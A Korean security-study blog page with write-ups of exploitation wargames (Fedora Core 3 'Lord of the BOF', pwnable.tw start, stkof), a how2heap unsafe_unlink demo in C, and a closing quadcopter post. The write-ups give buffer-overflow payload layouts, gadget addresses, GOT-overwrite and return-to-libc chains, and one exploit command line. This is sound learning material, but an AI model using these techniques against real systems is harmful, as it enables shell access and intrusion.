소소한팁

Posted by dw0rdptr
2018. 2. 25. 21:29 etc


0x0a (LF, Line Feed)을 텍스트모드로 파일에 쓰면 0x0d 0x0a로 들어간다

꼭 바이너리모드로 써주자

http://g0n4k00.tistory.com/entry/파일의-바이너리-모드-vs-텍스트모드ASCII모드

익스파일을 코딩중 0x0a가 안들어가길래 쓴건 절대 아니구... 

stkof

Posted by dw0rdptr
2017. 9. 2. 10:23 System



문제가 불친절하다ㅠ 

1 : malloc

2 : modify

3 : free 

4 : ?


1 - malloc


입력한 size만큼 malloc하는데 bss영역에 포인터가 저장되어 unlink 공격을 할 수 있다.



2 - modify


3 - free

4번 메뉴의 strlen got를 printf의 plt로 overwrite해 libc 주소를 leak하면 system의 주소를 구해서 익스 가능하다. 




'System' 카테고리의 다른 글

how2heap - unsafe_unlink  (0) 2017.08.27

how2heap - unsafe_unlink

Posted by dw0rdptr
2017. 8. 27. 22:36 System


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
 
 
uint64_t *chunk0_ptr;
 
int main()
{
    printf("unlink 2.0에 오신것을 환영합니다!\n"); //
    printf("환경은 우분투 14.04/16.04 64bit\n"); //환
    printf("이 기술은 unlink가 가능한 지역에 포인터가 있을 때 사용할 수 있습니다.\n"); //
    printf("가장 일반적인 시나리오는 오버플로우 취약점과 전역 포인터를 가지고 있는 버퍼입니다.\n"); //
 
    int malloc_size = 0x80;//fastbins으로 동작하게 하지 않기 위해 충분한 공간을 줍니다.
    int header_size = 2;
 
    printf("이 연습의 핵심은 free를 사용해 전역 chunk0_ptr를 손상시켜 임의의 메모리를 쓰는것입니다.\n\n"); //
    chunk0_ptr = (uint64_t*malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*malloc(malloc_size); //chunk1
    printf("전역 chunk0_ptr은 %p, %p를 가르킵니다.\n"&chunk0_ptr, chunk0_ptr); //
    printf("우리가 손상시킬 청크는 %p\n\n", chunk1_ptr); //
 
    printf("가짜청크를 chunk0에 생성합니다.\n"); //
    printf("만든 가짜 청크의 'next_free_chunk'(fd)를 &chunk0_ptr 근처로 설정하여 P-> fd-> bk = P가 되도록 합니다.\n"); //
    chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("가짜 청크의 'previous_free_chunk'(bk)를 &chunk0_ptr 근처로 설정하여 P->bk->fd = P가 되도록 합니다.\n"); //
    printf("위 설정으로 다음 검사를 통과 할 수 있습니다 (P->fd->bk != P || P->bk->fd != P) == False\n"); //
    chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
 
    printf("가짜 청크의 'size' 와 다음 청크의'previous_size'가 일치하는지 확인해야 합니다.(fd->prev_size)\n"); //
    printf("위 설정으로 다음 검사를 통과 할 수 있습니다. (chunksize(P) != prev_size (next_chunk(P)) == False\n");//
    printf("P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
    
    printf("만약 x = chunk0_ptr [1] & (~ 0x7)이면 x = *(chunk0_ptr + x)입니다.\n"); //
    printf("*(chunk0_ptr + x) = x로 설정하면 체크를 통과 할 수 있습니다.\n"); //
    printf("1. x = chunk0_ptr [1] & (~ 0x7) = 0, * (chunk0_ptr + 0) = 0을 설정해야합니다. 다시말해 아무것도 안해야 합니다.\n");//
    printf("2. 64비트에서는 chunk0_ptr = 0x8로 설정하고 *(chunk0_ptr + 0x8) == chunk0_ptr[1]로 설정하면 됩니다.\n");//
    printf("3. 마지막으로 chunk0_ptr = x를 64비트 env로 설정하고 *(chunk0_ptr+x) = x를 설정할 수도 있습니다. 예를들어 : chunk_ptr0 [1] = 0x20, chunk_ptr0 [4] = 0x20\n");//
    chunk0_ptr[1= sizeof(size_t);
    printf("가짜 청크의 'size'를 chunk0_ptr[-3]으로 설정합니다:0x%08lx\n", chunk0_ptr[1]);//
    printf("커밋 비교는https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 에서 할수 있습니다.\n\n");//
    printf("chunk0에 오버플로우가 발생해 chunk1 메타데이터를 바꿀 수 있다고 가정합니다.\n");//
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("chunk0 (chunk1에서 'previous_size'로 저장)의 크기를 줄여 free가 chunk0이 가짜 청크에서 시작한다고 착각하게 만듭니다.\n");//
    printf("가짜 청크는 알려진 포인터가 가리키는 곳에서 정확하게 시작되고 그에 따라 청크의 크기를 줄이는 것이 중요합니다.\n");//
    chunk1_hdr[0= malloc_size;
    printf("'정상적으로' chunk0을 free했다면, chunk1의 previous_size는 0x90이었겠지만, 이 값은 새로운 값입니다 : %p\n",(void*)chunk1_hdr[0]);//
    printf("chunk1의 'previous_in_use'를 False로 설정하여 가짜 청크가 free된 것 처럼 표시합니다.\n\n"); //
    chunk1_hdr[1&= ~1;
 
    printf("이제 chunk1을 free해 역으로 병합하면 가짜청크가 unlink되어 chunk0_ptr을 덮어 쓰게 됩니다.\n");//
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);
 
    printf("여기서 chunk0_ptr을 덮어씌워 임의의 위치를 가르키도록 할 수 있습니다.\n");//
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3= (uint64_t) victim_string;
 
    printf("chunk0_ptr은 이제 우리가 원하는 곳을 가리키고 이것을 이용해 victim string에 덮어씌울수 있습니다.\n"); //
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0= 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);
}
 
 
 
 
 
 
cs




'System' 카테고리의 다른 글

stkof  (0) 2017.09.02

pwnable.tw start

Posted by dw0rdptr
2017. 8. 27. 14:45 Study/Reversing&System Hacking


0x8048087 mov ecx, esp에서 스택주소를 leak할 수 있다.

그리고 그 leak한 주소에서 쉘코드까지 거리를 계산해 ret에서 쉘코드로 점프하게 만들면 끝



'Study > Reversing&System Hacking' 카테고리의 다른 글

1부 05~07장  (0) 2015.03.16
1부 01~04장  (0) 2015.03.16

FC3 evil_wizard->dark_stone

Posted by dw0rdptr
2017. 4. 7. 20:05 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - dark_stone
    - Remote BOF on Fedora Core 3
    - hint : GOT overwriting again
    - port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length;
    char temp[1024];

    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);

    // give me a food
    fgets(temp, 1024, stdin);

    // for disturbance RET sleding
    length = strlen(temp);
  
    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, temp);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

            // disturbance RET sleding
          memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

    // buffer cleaning
    memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

    printf("%s\n", buffer);
}




이쯤되면 문제 패턴이 예상가능해진다. 역시나 전레벨 문제+remote.. remote를 제외하고 달라진점은 버퍼를 비운다는 점이다. 어차피 GOT Overwrite로 풀꺼라 신경쓰이지는 않지만.

기법정리
RTL chaining으로 /bin/sh가젯을 하나씩 구해 bss에 overwrite 후 system호출&인자 bss   --> ascii armor 우회불가능(ftz level11을 이렇게 풀었다)

RTL chaining으로 system주소를 1 byte씩 직접 printf@got 에 overwrite, print@plt 호출후 AAAA+&/bin/sh

지금까지 사용한 exploit방법인데 이번엔 좀 다르게 풀겠다

custom stack을 bss로 두고 RTL chaining으로 system주소를 하나씩 overwrite 후 printf@got에 bss를 한번에 overwrite, print@plt 호출후 AAAA+&/bin/sh

주소를 구해보자

strcpy.plt : 0x8048438       
printf.plt : 0x8048408 
printf.got : 0x804984c
pop pop ret
: 0x80484f3
.bss : 0x08049868           
system : 0x7507c0           
    c0 0x80484d0
    07 0x804817c
    75 0x80482b4
    00 0x8049804
/bin/sh : 0x833603


payload 구성 : dummy * 268
+ strcpy.plt + pop pop ret + bss+0 + system[0]
+ strcpy.plt + pop pop ret + bss+1 + system[1]
+ strcpy.plt + pop pop ret + bss+2 + system[2]
+ strcpy.plt + pop pop ret + bss+3 + system[3]
+ strcpy.plt + pop pop ret + printf@got + bss
+printf@plt + AAAA+ &/bin/sh


원격으로 쉘을 따자






'System > FC3' 카테고리의 다른 글

FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 hell_fire->evil_wizard

Posted by dw0rdptr
2017. 4. 7. 19:59 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - evil_wizard
    - Local BOF on Fedora Core 3
    - hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    int length;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // for disturbance RET sleding
    length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());

    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, argv[1]);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

        printf("%s\n", buffer);
}

중요한 가젯인 pop pop ret를 magic potion이라면서 대놓고준다.
RET sleding과 fake ebp를 막아놓았다.

힌트에도 나와있듯이 GOT overwrite를 이용해 풀자

strcpy로 printf.got를 system으로 바꿔 system을 실행할것이다. pop pop ret가 주어졌으니 RTL chaining 으로 프로그램 내에서 system의 주소 가젯을 구해 printf.got를 overwrite한다. 그뒤 /bin/sh의 주소를 찾아 인자로 주자.

system과 pop pop ret 가젯은 objdump로 구하고 plt와 got는 gdb로 구하자

(쓰지않는 함수주소도 일단 구하고봤다)
execve.plt : 0x715490  
memcpy.plt : 0x8048434
strcpy.plt  : 0x8048494  -> \x94\x84\x04\x08
memset.plt : 0x8048474
printf.plt : 0x8048424  printf.got : 0x8049884  -> \x84\x98\x04\x08
&system : 0x7507c0      c0  07  75  00  gadget
            c0 : 0x8048535  \x35\x85\x04\x08
            07 : 0x8048388 \x88\x83\x04\x08
            75 : 0x80482c8 \xc8\x82\x04\x08
            00 : 0x8049840 \x40\x98\x04\x08
pop pop ret : 0x804854f  -> \x4f\x85\x04\x08



페이로드
| dummy*268 |
| strcpy@plt | pop pop ret | printf.got | system[0] gadget |
| strcpy@plt | pop pop ret | printf.got+1 | system[1] gadget |
| strcpy@plt | pop pop ret | printf.got+2 | system[2] gadget |
| strcpy@plt | pop pop ret | printf.got+3 | system[3] gadget |
| printf@plt | dummy[4] | &/bin/sh |



'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 dark_eyes->hell_fire

Posted by dw0rdptr
2017. 4. 7. 19:53 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - hell_fire
    - Remote BOF on Fedora Core 3
    - hint : another fake ebp or got overwriting
    - port : TCP 7777
*/



#include <stdio.h>

int main()
{
    char buffer[256];
    char saved_sfp[4];
    char temp[1024];
 
    printf("hell_fire : What's this smell?\n");
    printf("you : ");
    fflush(stdout);

    // give me a food
    fgets(temp, 1024, stdin);
  
    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, temp);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

    printf("%s\n", buffer);
}

remote bof라 이전 레벨처럼 링크를 이용한 공격이 불가능하다. 그 이유는 원본 hell_fire에는 setuid가 걸려 있지않고, xinetd으로 동작하는 hell_fire에서 쉘을 따야 하기때문이다.


전에 iron_golem을 풀때 system과 exec함수의 차이점을 공부하는 도중 https://www.joinc.co.kr/w/man/3/system 에서 'system() 함수는 /bin/sh -c string을 호출해 string에 지정된 명령어를 실행하고(생략)/bin/sh를 실행시키기 위한 execve()의 호출...' 에서 system함수에서 인자를받아 execve와 "/bin/sh"를 호출하는 부분이 있다는것을 알수 있다.

간단히 말하면 system함수 내에 do_system에서 "/bin/sh" 를 호출하는 부분이 있는데, ret에 이주소를 넣으면 쉘이 실행된다.

먼저 스택구조를 보면
temp[1024]  | dummy1[??] | saved_sfp[4] | dummy2[??] | buffer[256] | dummy3[??] | sfp[4] | ret [4] |

더미값을 268개 줬을때 segmentation fault가 떴으므로 dummy3은 8이다.


system함수를 분석해보면 아래에 do_system을 호출한다.


do_system 내부에서 execve를 호출하므로 /bin/sh도 위 어딘가에서 인자로 받을것이다. 어딨는지모르겠으니 노가다로 하나씩...해보자

페이로드
| dummy[268] | &/bin/sh |




사실 이문제는 do_system아이디어를 다른곳에서 보고 푼것이기 때문에 제대로 풀었다고는 볼수없다.

힌트에서 준 another fake ebp는 main이 종료되고 돌아가는 함수의 sfp를 덮어쓴다는 방법이라는데 이부분도 공부해두면 좋을거같다.

'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 iron_golem->dark_eyes

Posted by dw0rdptr
2017. 4. 7. 18:10 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - dark_eyes
    - Local BOF on Fedora Core 3
    - hint : RET sleding
*/
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
   
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
  
    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, argv[1]);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

    printf("%s\n", buffer);
}




sfp값을 저장해두고 복구하기 때문에 fake ebp로 공략이 불가능하다. 힌트에서 알려준대로 RET sleding로 공격하자.


RET sleding : RET Sleding은 RET를 연속적으로 호출해 스택상의 스택포인터 위치를 위로 옮기는 방법이다.

ASCII Armor가 적용되어 있어 인자구성이 불가능할 때 스택에서 쓸 수 있는 인자를 찾는다. 인자의 위치까지 함수 실행 위치를 끌어올릴때 RET Sleding을 사용하면 직접 인자를 구성하지 않아도 공격이 가능하다. 여기서 RET는 어셈블리 명령어로 함수 에필로그의 LEAVE RET 과정중 하나인데 RET는 pop eip, jmp eip 명령어로 구성되어 있다. pop이 있어 RET를 한번 호출하면 esp가 증가하게 되는 것이다.

먼저 스택구조를 보자

gdb로 분석해보면
| saved_sfp[4] | dummy1[12] | buffer[256] | dummy[8] | sfp[4] | ret[4] | 이렇게 된다
dummy크기는 대충 때려맞추고 gdb로 분석했다.

이 문제에서도 execl함수를 쓸건데, 먼저 RET가젯과 스택에서 execl의 인자로 줄 수 있는 부분을 찾자


 


 
0x0083eff4를 execl의 인자로 주자
execl을 호출할땐 | &execl | &exit | Arg1 | 구조가 되므로 Arg1에 0x0083eff4의 주소가 들어가야 한다.

그럼 execl은 0x0083eff4의 주소에서 8을 뺀 주소에 위치해야 하므로
0xfee3cf2c - 8(&0x0083eff4) =0xfee3cf28

0xfee3cf28에서 execl을 실행하려면 RET sled를 세번 타야된다.

이제 인자로 0x0083ff4가 들어가고 실행되는 주소에 전 문제와 같이 exploit 코드를 짜서 심볼릭링크를 걸어준다.



 
0x0083eff4를 실행하면 나오는 주소인 0x0083ed3c를 심볼릭링크의 이름으로 걸어준다.

최종 페이로드

| (buf+sfp)dummy[268] | RET | RET | RET | &execl |




'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 gate->iron_golem

Posted by dw0rdptr
2017. 4. 7. 17:56 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - iron_golem
    - Local BOF on Fedora Core 3
    - hint : fake ebp
*/
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


소스는 매우 간단하지만 fedora성부터는 LOB와 달리 여러 보호 기법이 적용되어 있기 때문에 공격하기 훨씬 복잡해진다.

[환경 요약]
Stack Dummy : O
Down privileage of bash : O
Random Stack : O
Random Library : X
Random Program Binary Mapped : X
ASCII Armor : O
Non-Executable Stack : O
Non-Executable Heap : O
Stack Carany : X
Stack Smashing Protector : X


몇개 간단하게 설명을 하자면

Random Stack,heap(ASLR) : 스택,힙에 할당되는 주소를 프로그램이 실행될때마다 랜덤으로 배치해 고정적인 메모리주소를 참조하지 못하게 하는 보호기법

Non-Executable Stack,heap(Nx bit) : 스택과 힙영역에서의 실행권한을 제거해 해당 영역 내에서 쉘코드를 실행하지 못하게하는 보호기법


ASCII Armor : 공유 라이브러리 주소의 최상위 비트를 \x00으로 매핑해 공유라이브러리 주소가 포함된 공격코드 실행 중간에 \x00을 NULL값으로 인식하고 이를 기점으로 실행을 중단하게 만드는 보호기법. 때문에 RTL뒤에 인자전달이나 연속호출이 불가능

위의 보호기법때문에 스택내에서 직접 쉘코드를 실행시키는 공격기법과 일반적인 RTL공격은 불가능하게된다.


hint에 fake ebp가있어 fake ebp로 풀겠다.

ASCII Armor -> ASCII Armor가 적용되지 않는 got영역을 실행
ASLR -> fake ebp로 고정적 인자 참조가능


GOT는 나중에 ROP기법에서 매우 중요하게 쓰인다. PLT와 함께 미리 공부해두자

PLT (Procedure Linkage Table) :  함수 첫 호출시 함수의 실제주소를 알아내 호출 후 GOT에 함수주소 저장. 두번째 호출시 GOT에 저장된 주소를 참조해 함수호출

GOT (Global Offset Table) : 실제 함수 주소를 저장하는곳

PLT GOT 자세히알기 : https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


공격 시나리오는 이렇다

1. ASCII Armor가 걸려있지 않은 got영역을 이용한다.

2. fake ebp로 ebp를 got주소로 이동시킨다. 

3. got로 쉘을 실행시키는 프로그램을 심볼릭 링크로 연결해 최종적으로 쉘을 딴다.

gdb로 스택구성을 먼저 보자
| buffer[256] | dummy[8] | sfp[4] | ret[4] |
로 구성되어 있다.



구해야 하는것 : got.plt, execl 주소
execl : 0x00715720  (ASLR기법으로 첫바이트가 00임)
got.plt : 0x08049618



0x804954c <_DYNAMIC> : 0x00000001

got를 호출하면 0x00000001을 참조하는데, 이때 마지막바이트가 '\x01'이면 작성한 exploit 프로그램이 실행되게 심볼릭링크를 만들어준다.


쉘을 실행하는 exploit 프로그램

got에서 0x00000001 가 실행되면 exploit 프로그램이 실행된다.
그럼 공격 성공

그렇다면
| dummy[264] | &GOT | &execl |
이 페이로드가 되겠지만 이대로 공격을 해도 쉘이 따지지 않는다. execl의 프롤로그와 에필로그 과정에서 ebp와 esp를 건드리게 되고 fake ebp가 제대로 성공하지 않기 때문. 공격이 성공하려면 이러한 과정을 고려해야 한다.
 

execl의 첫부분이다. 기껏 fake ebp로 ebp를 got로 보내버렸는데

push %ebp / mov %esp,%ebp(프롤로그) 과정을 거치면 ebp가 엉뚱한데로 가버린다. 그래서 이부분을 무시하기위해 execl+3을 페이로드에 쓴다.

또 이 함수가 끝날때 leave / ret (에필로그) 부분에서 esp를 ebp로 옮기고 pop을 두번 수행하는데 이렇게되면 got+8주소가 실행된다. 때문에 페이로드에서 got-8을 쓰면 정상적으로 got를 실행하게 되는 것이다.

페이로드
| dummy[264] | &GOT-8 | &execl+3 |

./iron_golem `python -c 'print "A"*264 + "\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`

 









의문점 :

execl함수를 쓰는 이유는 아마 프로그램 실행권한을 가진 함수라 작성한 exploit 프로그램을 iron_golem 권한으로 실행시켜주기 때문인거 같은데.. 같은기능인 system함수로는 되지 않는다. execv함수로도 공격이 성공했는데 execl, execv와 system의 차이가 무엇인지 더 공부해야겠다.


결론 :

system함수는 exec와 fork의 조합이다. exec는 새로운 프로세스를 실행시킬때 현재 프로세스 메모리 공간에 덮어쓴다.

반면에 system은 fork로 새로운 자식 프로세스를 생성후 exec를 호출해 명령어를 실행하는 구조이다. 아마 system으로 공격이 실패한 이유가 이러한 차이때문인 것 같다.


'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07

쿼드콥터 제작기 13 - 테스트비행과 절반의 성공

Posted by dw0rdptr
2016. 3. 19. 03:43 IoT/QuadCopter

PID게인조정을 끝내고 테스트비행을 하러 집앞 학교 운동장에서 테스트를 했다.

참고로 비행제한구역이라 일몰전 150m 고도 이하로 비행했으므로 항공법에 위배되지는 않는다.


왼쪽영상이 드론에 달아놓은 캠이고, 오른쪽이 직접 찍은 영상


드디어 어느정도 날 수 있다! 작년 가을 첫 비행테스트를 했을 때 뜨지도 못하고 바닥에서 굴렀던 걸 생각하면 훨씬 나아졌다.


그런데.. DMP의 샘플링레이트가 100hz밖에 안돼 자세제어 주기가 3ms에 훨씬 못미치는 11ms정도가 되어버린다.

때문에 자세변화에 모터출력이 바로 반응하지 못해 조금씩 옆으로 치우져지는 문제가 생겨버렸다.

자세를 빠르게 못잡으니 조종이 제대로 안돼 오래 날리지는 못했고 거기에 조종경험은 거의 없다시피 해서 조종미숙으로 하드랜딩..

보완할 부분이 많아보인다.



1. DMP를 다시 상보필터로

  - 역시 뭐든 편하게 하려하면 안되나보다. DMP의 샘플링레이트를 200hz로 올릴 수 있긴 했는데 노이즈가 엄청 심해져 포기..

   다시 상보필터를 써야겠다.


2. 하드웨어적으로 방진

  - 아무래도 진동에는 상대적으로 더 취약한 상보필터니까 댐퍼나 센서위치를 바꾸거나 해서 진동을 줄여야 할것같다.

    클럭이 높은 두에나 메가로 바꿔 Low Pass Filter를 다시 적용해 보는것도 생각중


3. 프레임 교체

  - 테스트를 많이 거친 프레임이다 보니 여기저기 부러진곳도 있고 상태가 말이아니라 하비킹에서 새로 주문해야 할듯




이번에도 못뜨면 때려칠까 했는데 이건 못뜬것도아니고.. 그렇다고 완벽하게 성공도 아닌것같아 일단은 문제점만 분석해두고 보류하려고 한다.

11월에 수능보고 살아있으면 다시 진행해야지

그래도 가끔 블로그 들어오긴 하니까 궁금한점 댓글로 물어보시면 아는 선에서 최대한 알려드립니다. 포스팅은 11월에 다시..